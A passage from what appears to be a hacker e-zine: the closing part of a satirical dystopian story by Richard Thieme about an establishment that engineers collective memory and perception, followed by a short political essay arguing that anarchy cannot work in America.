the entertainment wing, the most potent wing of the military-industrial-
educational-entertainment complex, we invented false people, characters
with made-up life stories in simulated communities more real to the Hump
than family or friends. We revised historical antecedents or replaced them
entirely with narratives you could track through several centuries of
buried made-up clues. We sponsored scholars to pursue those clues and
published their works and turned them into minipics. Some won Nobel Prizes.
We invented Net discussion groups and took all sides, injecting half-true
details into the discourse, just enough to bend the light. We excelled in
the parallax view. We perfected the Gary Webb Gambit, using attacks by
respectable media giants on independent dissenters, taking issue with
things they never said, thus changing the terms of the argument and
destroying their credibility. We created dummy dupes, substitute generals
and politicians and dictators that looked like the originals in videos,
newscasts, on the Net, in covertly distributed underground snaps, many of
them pornographic. We created simulated humans and sent them out to play
among their more real cousins. We used holographic projections,
multispectral camouflage, simulated environments and many other stratagems.
The toolbox of deception is bottomless and if anyone challenged us, we
called them a conspiracy theorist and leaked details of their personal
lives. It's pretty tough to be taken seriously when your words are
juxtaposed with a picture of you sucking some prostitute's toes. Through
all this we supported and often invented opposition groups because
discordant voices, woven like a counterpoint into a fugue, showed the world
that democracy worked. Meanwhile we used those groups to gather names,
filling cells first in databases, then in Guantanamo camps.
Chomsky Chutes worked well when the management of perception was at
top-level, the level of concepts. They worked perfectly before chemicals,
genetic-enhancements and bodymods had become ubiquitous. Then the balance
tipped toward chemicals (both ingested and inside-engineered) and we saw
that macro strategies that addressed only the conceptual level let too many
percepts slip inside. Those percepts swim around like sperm and pattern
into memories; when memories are spread through peer-to-peer nets, the
effect can be devastating. It counters everything we do at the macro level
and creates a subjective field of interpretation that resists
socialization, a cognitively dissonant realm that's like an itch you can't
scratch, a shadow world where "truths" as they call them are exchanged on
the Black Market. Those truths can be woven together to create alternative
realities. The only alternative realities we want out there are ones we
create ourselves.
We saw that we needed to manage perception as well as conception.
Given that implants, enhancements, and mods were altering human identity
through everyday life - routine medical procedures, prenatal and geriatric
care, plastic surgery, eye ear nose throat and dental work, all kinds of
pharmacopsychotherapies - we saw the road we had to take. We needed to
change the brain and its secondary systems so that percepts would filter in
and filter out as we preferred. Percepts - not all, but enough - would be
pre-configured to model or not model images consistent with society's
goals.
Using our expertise in enterprise system programming and management,
we correlated subtle changes in biochemistry and nanophysiology to a macro
plan calibrated to statistical parameters of happiness in the Hump. Keeping
society inside those "happy brackets" became our priority.
So long as changes are incremental, people don't notice. Take
corrective lenses, for example. People think that what they see through
lenses is what's "real" and are trained to call what their eyes see
naturally (if they are myopic, for example) a blur. In fact, it's the other
way around. The eyes see what's natural and the lenses create a simulation.
Over time people think that percepts mediated by technological enhancements
are "real" and what they experience without enhancements is distorted.
It's like that, only inside where it's invisible.
It was simply a matter of working not only on electromechanical
impulses of the heart, muscles, and so on as we already did or on altering
senses like hearing and sight as we already did or on implanting devices
that assisted locomotion, digestion, and elimination as we already did but
of working directly as well on the electrochemical wetware called the
memory skein or membrane, that vast complex network of hormonal systems and
firing neurons where memories and therefore identity reside. Memories are
merely points of reference, after all, for who we think we are and
therefore how we frame ourselves as possibilities for action. All
individuals have mythic histories and collective memories are nothing but
shared myths. Determining those points of reference determines what is
thinkable at every level of society's mind.
Most of the trial and error work had been done by evolution. Our task
was to infer which paths had been taken and why, then replicate them for
our own ends.
Short term memory, for example, is wiped out when a crisis occurs.
Apparently whatever is happening in a bland sort of ho-hum way when a tiger
attacks is of little relevance to survival. But reacting to the crisis is
important, so we ported that awareness to the realm of the body politic.
Everyday life has its minor crises but pretty much just perks along. We
adjusted our sensors to alert us earlier when the Hump was paying too much
attention to some event that might achieve momentum or critical mass; then
we could release that tiger, so to speak, creating a crisis that got the
adrenalin pumping and wiped out whatever the Hump had been thinking. After
the crisis passed - and it always did, usually with a minimal loss of life
- the Hump never gave a thought to what had been in the forefront of its
mind a moment before.
Once the average lifespan reached a couple of hundred years, much of
what people remembered was irrelevant or detrimental. Who cared if there
had been famine or drought a hundred and fifty years earlier? Nobody! Who
cared if a war had claimed a million lives in Botswana or Tajikistan
(actually, the figure in both cases was closer to two million)? Nobody!
What did it matter to survivors what had caused catastrophic events? It
didn't. And besides, the military-industrial-educational-entertainment
establishment was such a seamless weld of collusion and mutual self-
interest that what was really going on was never exposed to the light of
day anyway. The media, the fifth column inside the MIEE complex, filtered
out much more than was filtered in, by design. Even when people thought
they were "informed," they didn't know what they were talking about.
See, that's the point. People fed factoids and distortions don't know
what they're talking about anyway, so why shouldn't inputs and outputs be
managed more precisely? Why leave anything to chance when it can be
designed? We knew we couldn't design everything but we could design the
subjective field in which people lived and that would take care of the
rest. That would determine what questions could be asked which in turn
would make the answers irrelevant. We had to manage the entire enterprise
from end to end.
Now, this is the part I love, because I was in on the planning from
the beginning. We remove almost nothing from the memory of the collective!
But we and we alone know where everything is stored! Do you get it? Let me
repeat. Almost all of the actual memories of the collective, the whole
herdlike Hump, are distributed throughout the population, but because they
are staggered, arranged in niches that constitute multisided life, and news
is managed down to the level of perception itself, the people who have the
relevant modules never plug into one another! They never talk to each
other, don't you see! Each niche lives in its own deep hole and even when
they find gold nuggets they don't show them to anybody. If they did, they
could reconstruct the original narrative in its entirety, but they don't
even know that!
Isn't that elegant? Isn't that a sublime way to handle whiny neo-
liberals who object to destroying fundamental elements of collective
memory? We can show them how it's all there but distributed by the
sixtysixfish algorithm. That algorithm, the programs that make sense of its
complex operations, and the keys to the crypto are all in the hands of the
Masters.
I love it! Each Humpling has memory modules inserted into its
wetware, calibrated to macro conceptions that govern the thinking and
actions of the body politic. Because they don't know what they're missing,
they don't know what they're missing. We leave intact the well-distributed
peasant gene that distrusts strangers, changes, and new ideas, so if some
self-appointed liberator tries to tell them how it works, they snarl or
remain sullen or lower their eyes or eat too much or get drunk until they
forget why they were angry.
At the same time, we design a memory web that weaves people into
communities that cohere, spun through vast amounts of disconnected data.
Compartmentalization handles all the rest. The Hump is overloaded with
memories, images, ideas, all to no purpose. We keep fads moving, quick
quick quick, and we keep the Hump as gratified and happy as a pig in its
own defecation.
# # # # #
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
By
Richard Thieme
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
By
Anthony <[email protected]>
"This country, with its institutions, belongs to the people who inhabit it.
Whenever they shall grow weary of the existing Government, they can exercise
their constitutional right of amending it, or their revolutionary right to
dismember or overthrow it." -- Abraham Lincoln
The concept of anarchy in its most general and well-known form espouses a
view of removing a given governing body or hierarchy. The very word,
"Anarchy," is derived from the Greek word "Anarkhos," which means, "Without
a ruler." In effect, it is a view shared by those who believe that
centralized governments or hierarchies of power and authority tend to
corrupt those at the upper-levels. It is also a common sentiment that those
power-drunken rulers at the height of the hierarchy come to abuse their
power and use their newly found authority for their own, whimsical purposes
to the detriment of the lower members of the organization or society over
which it rules. This belief is far from new, and dates back probably as far
as political philosophy has existed. Within the United States, the
philosophy gained general acceptance within a few select groups during the
1960's and 1970's, and was forwarded with the rise of the "Anarchist
Cookbook," in which instructions for bomb-making, guerilla warfare, and the
like are expounded upon in rather brief detail. With the rise of the
Internet, many groups favoring the free exchange of any and all information,
as well as the destruction of any sort of proprietary and restrictive model
for software development and the like, the philosophy of Anarchism has
become quite widespread and supported in a variety of forms. Aside from the
desire to see corrupt regimes fail and the Orwellian laws and measures
become obsolete, however, we must ask ourselves: In America, is the concept
of Anarchy realistically viable?
A view espoused by some is that man should return to a more natural way of
life and live primitively, as an animal, given that he is indeed an animal
which is more highly evolved and retains higher faculties of reason and
thought. This sort of view likewise presents another problem which is most
likely impossible to overcome within anarchy: the fact that there is not
anarchy within nature, and that animals are indeed governed if by nothing
more than the principle of natural selection: the strong will survive, and
the weak will perish. It is a fact that resources of a particular area are
not unlimited, such as food, water, material for shelters, fuel, and so
forth. It is also true that there will be those who are more efficient by
nature in gathering food, finding themselves fortunate enough to live near
and perhaps possess a source of fresh water, and so on. Therefore, those
who are stronger and more efficient in these areas will by nature rule over
those who are weaker and not as adept or fortunate enough to be in like
position. Such an individual or individuals would thus be held in higher
esteem in a given community because of the resources he/she possesses, and
which the other members want or need. As we can see, this is leading to
another form of government: those with the best plots of land held in
private ownership will naturally become those who supply the food and
necessary materials to the rest of the community, and will therefore become
as an authority figure. It is trivial to understand that this situation can
be prevented if private ownership of land is not allowed, or if food, water,
and other relatively scarce resources are distributed equally amongst the
populace. The only problem with this is that there must by definition be
some sort of hierarchy or committee collecting these resources, distributing
them, and ensuring that everyone is conducting themselves honestly with
regard to the matter. This will likewise lead to yet another form of
control and government: over time or, perhaps from the beginning depending
upon how much force the committee would have or how dire the situation is at
that time, they will come to form a sort of government which would provide
the members of society with its needed resources, and would thus be much
like the current government we have today, existing by serving society and
using its natural power to threaten others to accept a given set of laws in
order to preserve social order. Even the most primitive of societies have
an accepted leadership, and at least have some sort of social order and a
way in which to ensure that such a social order is not disrupted to the
detriment of society. Hence, if the society is to be held together and not
devolve into nothing more than close-knit families attempting to ensure for
themselves survival without thought to the rest of the population, there
must exist some sort of hierarchy or, for lack of a better term, system of
government.
I conclude this rather brief essay by answering the question posed in the
beginning: it is not possible that anarchy can exist within America if only
because of the fact that the population could not handle it, and can not be
trusted to act with the best interest of society in mind. Not many in this
culture of ego-gratification and self-centered hedonism would find it in
their best interests to give up their many enjoyments, possessions, and
sheltered way of life so that they could exist with more responsibility and
self-reliance. Not only this, it would also be impossible to rid the
majority of the population of the idea of private ownership of property, and
because of the self-centered nature of this culture, it would be entirely
out of the question to assume that a form of communism or communal-lifestyle
would be acceptable to the majority involved. Besides, without some form of
central government deciding the fate of this communal property and what
should be done with the material harvested or grown from it, we would be
hard-pressed to come to any agreement upon what should be done with it.
Thus, without any sort of unification or democratic government, or even an
authoritarian dictator imposing his will upon the population at large,
nothing can be achieved except factionalism, strife, and inevitably
destabilizing, unconstructive conflict.